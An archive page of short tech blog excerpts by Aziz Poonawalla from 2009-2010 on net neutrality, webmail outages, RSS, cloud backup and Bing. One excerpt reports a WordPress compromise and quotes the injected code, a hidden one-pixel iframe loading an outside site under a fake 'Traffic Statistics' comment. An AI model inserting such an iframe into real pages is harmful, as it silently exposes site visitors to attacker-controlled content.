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Aziz Poonawalla

Glenn Beck’s crusade against Network Neutrality

May 17, 2010

Glenn Beck has decided Net Neutrality is the tool of the devil. Thank god that we have a functioning techsphere, which serves as a factual counterpoint to nonsense and propaganda. The lack of any such objective source in the political blogsphere is basically the reason that I started geekblogging. Still, sometimes, the political stoopid finds [...]

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annoying html injection in wordpress

September 13, 2009

two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows: <!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –> I only became aware of it when Google flagged my archives for that month as [...]

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First gmail, now Yahoo mail is down

September 3, 2009

good grief, it looks like it’s Yahoo Mail’s turn to go down in flames: I’m sure they will have service restored soon. But it’s particularly more galling given that 1. I snarkily defended Yahoo Mail during the gmail outage (oh, karma!) and 2. unlike gmail, I’m a paying customer for Yahoo’s Plus service (no ads, [...]

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RSS is dead; long live RSS!

September 1, 2009

I was quite perplexed to see this article at ZDNet on techmeme, arguing that RSS is a failure. Now, I’ve been relying less and less on Google Reader myself as a source of news as well, but that’s not because of a failure in RSS technology but rather the obsolesence of Google Reader in the [...]

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a perplexing paucity of PHP programmers

August 27, 2009

My friend Abbas Ali, who is one of the lead programmers for the open-source Coppermine gallery project, writes with mild frustration about the seeming shortage of talented PHP programmers in India. He cites a number of reasons, one of which is a lack of good trainers: Unfortunately in India you need a trainer for learning [...]

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backups should be local, not to the cloud

August 12, 2009

One of the lessons of Friendfeed’s buyout by Facebook is that the cloud is not a good place for backup. In an era of the sub-$100 terabyte, the idea that the best place for our data should be anywhere other than right at home is a strange one. Cloud backup is useful as a meta-backup [...]

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Microsoft Bing: But It ‘s Not Google!

July 13, 2009

I’ve been increasingly using Microsoft’s new search engine, Bing in lieu of Google for my casual searches. One of the things that appeals to me is how the search results are so much more organized and comprehensive than just a list of ten text items. Google’s spartan deisgn was cool and chic ten years ago [...]

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One Million Strong for @aplusk

April 17, 2009

Ashton Kutcher has done it – he has amassed one million followers. He’s using this publicity to donate mosquito nets to African children, but that’s just scratching the surface of what is possible. Use your imagination.. what could he do, with his combination of celebrity and follower clout? – he could raise money for a [...]

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